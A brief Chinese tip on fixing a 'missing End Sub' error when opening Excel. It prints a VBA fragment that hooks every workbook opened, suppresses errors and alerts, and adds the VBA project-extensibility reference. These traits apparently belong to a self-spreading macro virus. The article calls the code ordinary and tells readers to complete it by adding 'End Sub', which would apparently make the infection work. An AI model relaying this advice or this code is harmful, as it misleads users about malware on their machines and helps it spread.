解决打开excel出现缺少end sub的问题

1、弹出的代码如下：

2、Public WithEvents xx As ApplicationPrivate Sub Workbook_open()Set xx = ApplicationOn Error Resume NextApplication.DisplayAlerts = FalseCall do_whatEnd SubPrivate Sub xx_workbookOpen(ByVal wb As Workbook)On Error Resume Nextwb.VBProject.References.AddFromGuid _GUID:="{0002E157-0000-0000-C000-000000000046}", _Major:=5, Minor:=3Application.ScreenUpdating = FalseApplication.DisplayAlerts = False

3、其实sub和end sub是成对出现的，在这里最后一行缺少一个end sub添加一个end sub就行了。